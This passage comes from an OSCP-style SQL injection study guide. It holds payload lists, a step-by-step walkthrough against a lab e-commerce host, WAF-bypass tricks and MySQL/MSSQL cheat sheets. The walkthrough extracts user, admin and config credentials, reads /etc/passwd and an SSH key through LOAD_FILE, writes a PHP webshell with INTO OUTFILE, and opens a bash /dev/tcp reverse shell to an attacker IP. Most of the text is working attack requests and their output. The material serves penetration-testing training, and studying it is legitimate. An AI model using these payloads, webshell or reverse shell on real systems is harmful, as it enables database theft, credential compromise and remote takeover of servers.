'; WAITFOR DELAY '0:0:5'--
1' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--
Database Identification Payloads (sqli-db-ident.txt)
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(VERSION(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--
' AND UPDATEXML(1,CONCAT(0x7e,VERSION()),1)--
1; WAITFOR DELAY '0:0:5'--
1' AND 1=CAST((SELECT @@version) AS INT)--
1' AND (SELECT NULL FROM dual)--
Table Enumeration Payloads (sqli-tables.txt)
' UNION SELECT GROUP_CONCAT(table_name),2,3 FROM information_schema.tables WHERE table_schema=DATABASE()--
' UNION SELECT GROUP_CONCAT(table_name SEPARATOR '|'),2,3 FROM information_schema.tables WHERE table_schema=DATABASE()--
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1--
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1--
' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 2,1--
Common File Paths (sqli-files.txt)
/etc/passwd
/etc/shadow
/etc/hosts
/var/www/html/config.php
/var/www/html/wp-config.php
/var/www/html/.htaccess
/root/.ssh/id_rsa
/home/www-data/.ssh/id_rsa
C:\windows\win.ini
C:\Windows\System32\config\SAM
C:\inetpub\wwwroot\web.config
7. Complete Walkthrough Example
Scenario: Vulnerable E-Commerce Application
Target: http://10.10.10.100/shop.php
Vulnerable Parameter: id in URL
Goal: Extract admin credentials and escalate
Step 1: Initial Reconnaissance
1.1 Baseline Request
GET /shop.php?id=1 HTTP/1.1
Host: 10.10.10.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: PHPSESSID=abc123def456
HTTP/1.1 200 OK
Content-Type: text/html
<html>
<body>
<h1>Product Details</h1>
<div class="product">
<h2>Wireless Mouse</h2>
<p>Price: $29.99</p>
<p>Category: Electronics</p>
</div>
</body>
</html>
1.2 Single Quote Test
GET /shop.php?id=1' HTTP/1.1
Host: 10.10.10.100
HTTP/1.1 500 Internal Server Error
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax
to use near ''1'' at line 1
Analysis:
- ✅ SQL error returned → Error-based SQLi confirmed
- ✅ MySQL error message → Database is MySQL
- ✅ Error near
'1'→ Input is wrapped in single quotes
1.3 Comment Test
GET /shop.php?id=1' -- HTTP/1.1
Host: 10.10.10.100
HTTP/1.1 200 OK
<html>
<body>
<h1>Product Details</h1>
<div class="product">
<h2>Wireless Mouse</h2>
<p>Price: $29.99</p>
<p>Category: Electronics</p>
</div>
</body>
</html>
Analysis:
- ✅ Same response as
id=1→ Comment works, injection confirmed - The query structure is likely:
SELECT * FROM products WHERE id = '$INPUT' AND ...
1.4 Tautology Test
GET /shop.php?id=1' OR '1'='1 HTTP/1.1
Host: 10.10.10.100
HTTP/1.1 200 OK
<html>
<body>
<h1>Product Details</h1>
<!-- Shows ALL products instead of just one -->
<div class="product"><h2>Wireless Mouse</h2><p>Price: $29.99</p></div>
<div class="product"><h2>Keyboard</h2><p>Price: $49.99</p></div>
<div class="product"><h2>Monitor</h2><p>Price: $199.99</p></div>
<div class="product"><h2>Headphones</h2><p>Price: $79.99</p></div>
<div class="product"><h2>USB Cable</h2><p>Price: $9.99</p></div>
</body>
</html>
Analysis:
- ✅ Multiple products returned → OR ‘1’=’1 works
- SQLi is fully confirmed
Step 2: Column Enumeration
2.1 ORDER BY Binary Search
# Test ORDER BY 5
GET /shop.php?id=1' ORDER BY 5 -- HTTP/1.1
→ HTTP 500: Unknown column '5' in 'order clause'
# Test ORDER BY 3
GET /shop.php?id=1' ORDER BY 3 -- HTTP/1.1
→ HTTP 200: Same page (works!)
# Test ORDER BY 4
GET /shop.php?id=1' ORDER BY 4 -- HTTP/1.1
→ HTTP 500: Unknown column '4' in 'order clause'
# Test ORDER BY 3 (confirm)
GET /shop.php?id=1' ORDER BY 3 -- HTTP/1.1
→ HTTP 200: Works!
Result: The query selects exactly 3 columns.
2.2 UNION NULL Test
GET /shop.php?id=1' UNION SELECT NULL,NULL,NULL -- HTTP/1.1
Host: 10.10.10.100
HTTP/1.1 200 OK
<html>
<body>
<h1>Product Details</h1>
<div class="product">
<h2>NULL</h2>
<p>Price: NULL</p>
<p>Category: NULL</p>
</div>
</body>
</html>
Analysis:
- ✅ UNION SELECT with 3 NULLs works
- All 3 columns are displayable on the page
2.3 Finding Displayable Columns with Numbers
GET /shop.php?id=1' UNION SELECT 1,2,3 -- HTTP/1.1
Host: 10.10.10.100
HTTP/1.1 200 OK
<html>
<body>
<h1>Product Details</h1>
<div class="product">
<h2>1</h2>
<p>Price: 2</p>
<p>Category: 3</p>
</div>
</body>
</html>
Result:
- Column 1 → Displays in
<h2>(product name area) - Column 2 → Displays in
<p>Price:area - Column 3 → Displays in
<p>Category:area - All 3 columns are displayable — use Column 1 for extraction (most space)
Step 3: Data Extraction
3.1 Extract Database Version
GET /shop.php?id=1' UNION SELECT VERSION(),2,3 -- HTTP/1.1
Host: 10.10.10.100
Response:
<h2>5.7.32-0ubuntu0.18.04.1</h2>
<p>Price: 2</p>
<p>Category: 3</p>
Result: MySQL 5.7.32 on Ubuntu 18.04
3.2 Extract Current User
GET /shop.php?id=1' UNION SELECT CURRENT_USER(),2,3 -- HTTP/1.1
Response:
<h2>root@localhost</h2>
Result: Running as root@localhost — maximum privileges! 🎯
3.3 Extract Database Name
GET /shop.php?id=1' UNION SELECT DATABASE(),2,3 -- HTTP/1.1
Response:
<h2>ecommerce_db</h2>
Result: Current database is ecommerce_db
3.4 Check File Privileges
GET /shop.php?id=1' UNION SELECT @@global.secure_file_priv,2,3 -- HTTP/1.1
Response:
<h2></h2>
Result: Empty string — no restriction on file operations! ✅
3.5 Enumerate All Tables
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(table_name SEPARATOR 0x7c7c),2,3
FROM information_schema.tables
WHERE table_schema=DATABASE() -- HTTP/1.1
Response:
<h2>products||users||orders||categories||sessions||admin||config</h2>
Result: Tables found:
products— product datausers— user accounts ⭐orders— order historycategories— product categoriessessions— session dataadmin— admin accounts ⭐⭐config— application configuration ⭐
3.6 Enumerate Columns in users Table
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(column_name SEPARATOR 0x7c7c),2,3
FROM information_schema.columns
WHERE table_name='users'
AND table_schema=DATABASE() -- HTTP/1.1
Response:
<h2>id||username||password||email||role||created_at</h2>
Result: Users table columns: id, username, password, email, role, created_at
3.7 Enumerate Columns in admin Table
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(column_name SEPARATOR 0x7c7c),2,3
FROM information_schema.columns
WHERE table_name='admin'
AND table_schema=DATABASE() -- HTTP/1.1
Response:
<h2>id||username||password||email||api_key||last_login</h2>
Result: Admin table columns: id, username, password, email, api_key, last_login
3.8 Extract User Credentials
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(
CONCAT(username,0x3a,password)
SEPARATOR 0x7c7c
),2,3
FROM users -- HTTP/1.1
Response:
<h2>admin:5f4dcc3b5aa765d61d8327deb882cf99||
john:25d55ad283aa400af464c76d713c07ad||
jane:e99a18c428cb38d5f260853678922e03||
mike:098f6bcd4621d373cade4e832627b4f6</h2>
Result:
| Username | Password Hash | Plaintext (MD5) |
|---|---|---|
| admin | 5f4dcc3b5aa765d61d8327deb882cf99 | password |
| john | 25d55ad283aa400af464c76d713c07ad | apple |
| jane | e99a18c428cb38d5f260853678922e03 | password123 |
| mike | 098f6bcd4621d373cade4e832627b4f6 | test |
3.9 Extract Admin Credentials
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(
CONCAT(username,0x3a,password,0x3a,api_key)
SEPARATOR 0x7c7c
),2,3
FROM admin -- HTTP/1.1
Response:
<h2>superadmin:8d969eef6ecad3c29a3a629280e686cf0c3f5d5a86aff3ca12020c923adc6c92:sk-prod-abc123def456</h2>
Result:
| Username | Password Hash | API Key |
|---|---|---|
| superadmin | 8d969eef… | sk-prod-abc123def456 |
Password hash 8d969eef... = SHA-256 of “password”
3.10 Extract Configuration Data
GET /shop.php?id=1' UNION SELECT
GROUP_CONCAT(
CONCAT(column_name,0x3d,column_value)
SEPARATOR 0x7c7c
),2,3
FROM config -- HTTP/1.1
Response:
<h2>db_host=localhost|db_user=root|db_pass=R00tP@ssw0rd!|
smtp_host=mail.internal.corp|smtp_pass=SmtpP@ss123|
aws_secret_key=AKIAIOSFODNN7EXAMPLE|
jwt_secret=super-secret-jwt-key-2024</h2>
Result: Critical credentials found:
- Database root password:
R00tP@ssw0rd! - SMTP password:
SmtpP@ss123 - AWS secret key:
AKIAIOSFODNN7EXAMPLE - JWT secret:
super-secret-jwt-key-2024
Step 4: Escalation
4.1 Read /etc/passwd
GET /shop.php?id=1' UNION SELECT
LOAD_FILE('/etc/passwd'),2,3 -- HTTP/1.1
Response:
<h2>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
hacker:x:1000:1000:Hacker:/home/hacker:/bin/bash</h2>
Result:
- ✅ File read successful
- User
hackerexists on the system - Running as root — can read any file
4.2 Read SSH Keys
GET /shop.php?id=1' UNION SELECT
LOAD_FILE('/home/hacker/.ssh/id_rsa'),2,3 -- HTTP/1.1
Response:
<h2>-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAIEA...truncated...
-----END OPENSSH PRIVATE KEY-----</h2>
Result: ✅ SSH private key extracted! Can use for SSH login.
4.3 Write a Webshell
GET /shop.php?id=1' UNION SELECT
'<?php system($_GET["cmd"]); ?>',2,3
INTO OUTFILE '/var/www/html/shell.php' -- HTTP/1.1
Response:
HTTP/1.1 200 OK
(Empty result — file written successfully)
Verify the webshell:
GET /shell.php?cmd=id HTTP/1.1
Host: 10.10.10.100
Response:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Result: ✅ Webshell deployed and working!
4.4 Get Reverse Shell via Webshell
GET /shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261' HTTP/1.1
On attacker machine:
rlwrap nc -lvnp 4444
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.100] 54321
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:/var/www/html$ whoami
www-data
www-data@target:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Result: ✅ Reverse shell obtained!
Complete Attack Timeline Summary
Time Phase Action Result
──── ───── ────── ──────
0:00 Recon Baseline request Normal page
0:01 Recon Single quote test SQL error → MySQL
0:02 Recon Comment test Injection confirmed
0:03 Recon Tautology test All rows returned
0:04 Columns ORDER BY binary search 3 columns found
0:05 Columns UNION NULL test All 3 displayable
0:06 Columns UNION SELECT 1,2,3 Column positions mapped
0:07 Extract VERSION() MySQL 5.7.32
0:08 Extract CURRENT_USER() root@localhost
0:09 Extract DATABASE() ecommerce_db
0:10 Extract @@secure_file_priv No restrictions
0:11 Extract Enumerate tables 7 tables found
0:12 Extract Enumerate user columns 6 columns in users
0:13 Extract Enumerate admin columns 6 columns in admin
0:14 Extract Extract user credentials 4 users + MD5 hashes
0:15 Extract Extract admin credentials 1 admin + SHA-256 + API key
0:16 Extract Extract config DB creds, AWS keys, JWT secret
0:17 Escalate LOAD_FILE /etc/passwd System users revealed
0:18 Escalate LOAD_FILE SSH key Private key extracted
0:19 Escalate INTO OUTFILE webshell shell.php deployed
0:20 Escalate Reverse shell via webshell Shell as www-data
8. Common Pitfalls and How to Avoid Them
Pitfall 1: Not Properly Closing the Injection
Problem:
❌ id=1' UNION SELECT username,password FROM users --
Missing column count match and proper comment
❌ id=1 UNION SELECT 1,2,3
Missing comment to close remaining query
Solution:
✅ Always match the original column count
✅ Always use proper comment syntax:
-- (space after -- is required in MySQL)
# (works in MySQL)
/* (works in most databases)
✅ id=1' UNION SELECT username,password,3 FROM users --
✅ id=1 UNION SELECT 1,2,3 --
Pitfall 2: Forgetting URL Encoding
Problem: Special characters in URLs need encoding:
❌ id=1' UNION SELECT 1,2,3 --
The space and -- may cause issues
✅ id=1'%20UNION%20SELECT%201,2,3%20--
✅ id=1'+UNION+SELECT+1,2,3+--
Common encodings:
| Character | URL Encoded |
|---|---|
| Space | %20 or + |
| Single quote | %27 |
| Double quote | %22 |
| Dash (-) | %2D |
| Semicolon | %3B |
| Comma | %2C |
| Parentheses | %28 %29 |
Pitfall 3: Case Sensitivity Issues
Problem:
❌ Some WAFs block lowercase keywords
❌ Some databases are case-sensitive for identifiers
Solution:
✅ Use mixed case to bypass WAF:
Id=1' UnIoN SeLeCt 1,2,3 --
✅ Use double encoding:
Id=1'%2527%2520UnIon%2520SeLect%25201,2,3%2520--
✅ Use comments to break keywords:
Id=1' U/**/NION SEL/**/ECT 1,2,3 --
Pitfall 4: GROUP_CONCAT Length Limit
Problem:
❌ Default GROUP_CONCAT max length is 1024 bytes
❌ Long results get silently truncated
Solution:
✅ Use LIMIT and OFFSET to paginate:
LIMIT 0,1
LIMIT 1,1
LIMIT 2,1
✅ Use SUBSTRING to extract chunks:
SUBSTRING(GROUP_CONCAT(...),1,100)
SUBSTRING(GROUP_CONCAT(...),101,100)
✅ Increase group_concat_max_len (if possible):
SET group_concat_max_len=1000000;
✅ Use custom separators to identify truncation:
GROUP_CONCAT(col SEPARATOR '|||END|||')
Pitfall 5: Not Checking for WAF/Filtering
Problem:
❌ Assuming SQLi works because error appeared
❌ Not testing if output is filtered/sanitized
Solution:
✅ Test with multiple payload variations
✅ Check if output is HTML-encoded
✅ Test with different keyword spellings
✅ Use Burp Intruder to test many variations
✅ Check response headers for WAF indicators:
- X-WAF-Version
- Server: Cloudflare / Akamai / etc.
Pitfall 6: Assuming MySQL When It’s Not
Problem:
❌ Using MySQL-specific functions on MSSQL
❌ Using information_schema on Oracle
Solution:
✅ Always identify the database first
✅ Use database-specific techniques:
MySQL: information_schema.tables, GROUP_CONCAT, LOAD_FILE
MSSQL: INFORMATION_SCHEMA.TABLES, FOR XML PATH, xp_cmdshell
PostgreSQL: information_schema.tables, STRING_AGG, pg_read_file
Oracle: ALL_TABLES, LISTAGG, UTL_FILE
Pitfall 7: Not Handling Encoding in Extracted Data
Problem:
❌ Extracted data contains HTML entities
❌ Special characters break the page rendering
Solution:
✅ Use HEX() to encode output:
UNION SELECT HEX(password),2,3 FROM users --
✅ Use BASE64 encoding (MySQL 5.6+):
UNION SELECT TO_BASE64(password),2,3 FROM users --
✅ Use REPLACE to remove problematic characters:
UNION SELECT REPLACE(password, '<', ''),2,3 FROM users --
Pitfall 8: Forgetting to Check Multiple Parameters
Problem:
❌ Only testing the obvious parameter (id)
❌ Missing injectable headers or cookies
Solution:
✅ Test ALL parameters systematically:
- URL query parameters
- POST body parameters
- Cookie values
- HTTP headers (User-Agent, Referer, X-Forwarded-For)
- JSON body fields
✅ Use Burp Intruder cluster bomb attack to test all params
Pitfall 9: Not Saving Evidence
Problem:
❌ Losing extracted data between requests
❌ Forgetting which payloads worked
Solution:
✅ Save all important Repeater tabs
✅ Keep a notes file with:
- Working payloads
- Extracted data
- Database structure
- File paths discovered
✅ Use Burp's "Save response" feature
✅ Export Intruder results to CSV
Pitfall 10: Rushing Without Verification
Problem:
❌ Assuming extraction worked without verifying
❌ Not cross-checking extracted data
Solution:
✅ Verify each extraction step:
- Extract version → verify it makes sense
- Extract user → verify format is correct
- Extract tables → verify names are plausible
- Extract data → verify hashes/emails look valid
✅ Cross-reference with other sources:
- Check if extracted DB creds work on the DB port
- Check if extracted SSH keys actually work
- Check if extracted emails exist in other parts of the app
Quick Reference Card
MySQL SQLi Cheat Sheet
┌──────────────────────────────────────────────────────────────────┐
│ MYSQL SQLI QUICK REFERENCE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ DETECTION: │
│ ' -- Single quote context │
│ 1 -- Numeric context │
│ ' OR '1'='1 Tautology test │
│ │
│ COLUMN COUNT: │
│ ' ORDER BY N -- Binary search for N │
│ │
│ UNION BASE: │
│ ' UNION SELECT NULL,NULL,NULL -- Match columns │
│ ' UNION SELECT 1,2,3 -- Find displayable columns │
│ │
│ INFO EXTRACTION: │
│ VERSION() Database version │
│ CURRENT_USER() Current DB user │
│ DATABASE() Current database │
│ @@secure_file_priv File privilege restriction │
│ │
│ TABLE ENUMERATION: │
│ GROUP_CONCAT(table_name) │
│ FROM information_schema.tables │
│ WHERE table_schema=DATABASE() │
│ │
│ COLUMN ENUMERATION: │
│ GROUP_CONCAT(column_name) │
│ FROM information_schema.columns │
│ WHERE table_name='target' │
│ │
│ DATA EXTRACTION: │
│ GROUP_CONCAT(CONCAT(col1,0x3a,col2) SEPARATOR 0x7c7c) │
│ FROM target_table │
│ │
│ FILE READ: │
│ LOAD_FILE('/etc/passwd') │
│ │
│ FILE WRITE: │
│ 'shell content' INTO OUTFILE '/path/shell.php' │
│ │
│ BLIND BOOLEAN: │
│ AND SUBSTRING((SELECT col FROM table LIMIT 1),1,1)='a' │
│ │
│ BLIND TIME: │
│ AND IF(condition,SLEEP(5),0) │
│ │
└──────────────────────────────────────────────────────────────────┘
MSSQL SQLi Cheat Sheet
┌──────────────────────────────────────────────────────────────────┐
│ MSSQL SQLI QUICK REFERENCE │
├──────────────────────────────────────────────────────────────────┤
│ │
│ DETECTION: │
│ 1'; WAITFOR DELAY '0:0:5'-- Time-based │
│ 1' AND 1=CONVERT(int,@@version)-- Error-based │
│ │
│ INFO EXTRACTION: │
│ @@VERSION Database version │
│ SYSTEM_USER Current user │
│ DB_NAME() Current database │
│ │
│ TABLE ENUMERATION: │
│ TABLE_NAME FROM INFORMATION_SCHEMA.TABLES │
│ WHERE TABLE_TYPE='BASE TABLE' │
│ │
│ COLUMN ENUMERATION: │
│ COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS │
│ WHERE TABLE_NAME='target' │
│ │
│ DATA EXTRACTION: │
│ (SELECT TOP 1 col FROM table) │
│ FOR XML PATH('') │
│ │
│ COMMAND EXECUTION: │
│ EXEC xp_cmdshell 'command' │
│ │
│ FILE READ: │
│ OPENROWSET(BULK 'path', SINGLE_CLOB) │
│ │
└──────────────────────────────────────────────────────────────────┘
Key Takeaways for OSCP
- Always start systematic — detection → columns → extraction → escalation
- ORDER BY binary search is your fastest way to find column count
- UNION SELECT NULL is cleaner than numbers for column matching
- GROUP_CONCAT is your best friend for extracting multiple rows
- information_schema is the key to MySQL enumeration
- Check privileges early — root@localhost changes everything
- LOAD_FILE and INTO OUTFILE are MySQL’s escalation weapons
- xp_cmdshell is MSSQL’s direct command execution
- Always save your work — Repeater tabs, notes, extracted data
- Think beyond the obvious — test headers, cookies, and hidden parameters
This methodology, practiced thoroughly, will handle the vast majority of SQL injection challenges you’ll encounter on the OSCP exam and in real-world penetration testing.
Last Updated: 2026-09-01 Chapter 7 of 7 — Web Application Attacks Domain